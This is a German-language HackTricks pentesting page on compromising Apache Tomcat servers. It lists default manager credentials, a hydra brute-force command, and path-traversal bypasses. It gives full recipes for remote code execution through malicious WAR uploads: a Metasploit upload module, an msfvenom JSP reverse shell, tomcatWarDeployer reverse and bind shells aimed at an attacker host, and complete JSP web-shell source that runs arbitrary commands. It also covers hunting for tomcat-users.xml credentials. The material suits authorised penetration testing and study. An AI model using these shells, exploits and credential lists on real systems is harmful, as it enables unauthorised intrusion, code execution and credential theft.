.. | ||
basic-tomcat-info.md | ||
README.md |
Tomcat
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks als PDF herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Treten Sie der 💬 Discord-Gruppe bei oder der Telegram-Gruppe oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das HackTricks-Repo und das HackTricks-Cloud-Repo einreichen.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Entdeckung
- Normalerweise läuft es auf Port 8080
- Gemeinsamer Tomcat-Fehler:
Enumeration
Versionsidentifizierung
Um die Version von Apache Tomcat zu finden, kann ein einfacher Befehl ausgeführt werden:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Manager-Dateispeicherort
Die genauen Speicherorte der /manager
- und /host-manager
-Verzeichnisse zu identifizieren ist entscheidend, da ihre Namen verändert sein könnten. Es wird empfohlen, eine Brute-Force-Suche durchzuführen, um diese Seiten zu lokalisieren.
Benutzername-Enumeration
Für Tomcat-Versionen älter als 6 ist es möglich, Benutzernamen durch zu enumerieren:
msf> use auxiliary/scanner/http/tomcat_enum
Standardanmeldeinformationen
Das Verzeichnis /manager/html
ist besonders sensibel, da es das Hochladen und Bereitstellen von WAR-Dateien ermöglicht, was zu einer Codeausführung führen kann. Dieses Verzeichnis ist durch eine grundlegende HTTP-Authentifizierung geschützt, wobei häufig verwendete Anmeldeinformationen sind:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Diese Anmeldeinformationen können mit dem folgenden Befehl getestet werden:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Eine weitere bemerkenswerte Verzeichnis ist /manager/status
, das die Tomcat- und Betriebssystemversion anzeigt und bei der Identifizierung von Schwachstellen hilft.
Brute-Force-Angriff
Um einen Brute-Force-Angriff auf das Manager-Verzeichnis zu versuchen, kann man Folgendes verwenden:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Zusätzlich zur Einstellung verschiedener Parameter in Metasploit, um ein bestimmtes Ziel zu erreichen.
Häufige Schwachstellen
Passwort-Backtrace-Offenlegung
Der Zugriff auf /auth.jsp
kann unter günstigen Umständen das Passwort in einem Backtrace offenlegen.
Doppelte URL-Codierung
Die CVE-2007-1860-Schwachstelle in mod_jk
ermöglicht eine doppelte URL-Codierungspfadtraversierung, die unbefugten Zugriff auf die Verwaltungsschnittstelle über eine speziell erstellte URL ermöglicht.
Um Zugriff auf das Verwaltungsweb von Tomcat zu erhalten, gehen Sie zu: pathTomcat/%252E%252E/manager/html
/Beispiele
Apache Tomcat-VersionZu den Versionen 4.x bis 7.x gehören Beispielsskripte, die anfällig für Informationslecks und Cross-Site-Scripting (XSS)-Angriffe sind. Diese umfassend aufgelisteten Skripte sollten auf unbefugten Zugriff und potenzielle Ausnutzung überprüft werden. Weitere Informationen finden Sie hier
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Pfadtraversierungs-Exploit
In einigen anfälligen Konfigurationen von Tomcat können Sie mit dem Pfad /..;/
auf geschützte Verzeichnisse in Tomcat zugreifen.
So könnten Sie beispielsweise möglicherweise auf die Tomcat-Manager-Seite zugreifen, indem Sie auf Folgendes zugreifen: www.vulnerable.com/lalala/..;/manager/html
Ein weiterer Weg, um geschützte Pfade mit diesem Trick zu umgehen, besteht darin, auf http://www.vulnerable.com/;param=value/manager/html
zuzugreifen.
RCE
Schließlich können Sie, wenn Sie Zugriff auf den Tomcat Web Application Manager haben, eine .war-Datei hochladen und bereitstellen (Code ausführen).
Einschränkungen
Sie können nur ein WAR bereitstellen, wenn Sie über ausreichende Berechtigungen verfügen (Rollen: admin, manager und manager-script). Diese Details finden Sie normalerweise in der Datei tomcat-users.xml, die in der Regel unter /usr/share/tomcat9/etc/tomcat-users.xml
definiert ist (es variiert je nach Version) (siehe POSTAbschnitt).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
Metasploit ist ein beliebtes Framework für die Entwicklung, Test und Ausführung von Exploits gegen eine Zielmaschine. Es bietet eine Vielzahl von Exploit-Modulen, mit denen Schwachstellen in verschiedenen Systemen ausgenutzt werden können. Metasploit kann auch für das Penetration Testing von Webanwendungen, einschließlich Apache Tomcat, verwendet werden.
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Erstellen Sie den Krieg zur Bereitstellung:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Lade die Datei
revshell.war
hoch und greife darauf zu (/revshell/
):
Bind- und Reverse-Shell mit tomcatWarDeployer.py
In einigen Szenarien funktioniert dies nicht (zum Beispiel bei alten Versionen von Sun)
Download
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Umgekehrte Shell
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind Shell
Eine Bind-Shell ist eine Art von Shell, die auf einem bestimmten Port auf dem Zielsystem lauscht und eine Verbindung von einem Angreifer akzeptiert.
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Mit Culsterd verwenden
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Manuelle Methode - Web-Shell
Erstellen Sie index.jsp mit diesem Inhalt:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Du könntest auch dies installieren (ermöglicht Upload, Download und Befehlsausführung): http://vonloesch.de/filebrowser.html
Manuelle Methode 2
Hole dir eine JSP-Webshell wie diese und erstelle eine WAR-Datei:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Der Name der Tomcat-Anmeldeinformationen-Datei lautet tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Andere Möglichkeiten, Tomcat-Anmeldeinformationen zu sammeln:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Andere Tomcat-Scanning-Tools
Referenzen
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das HackTricks-Repo und das HackTricks-Cloud-Repo senden.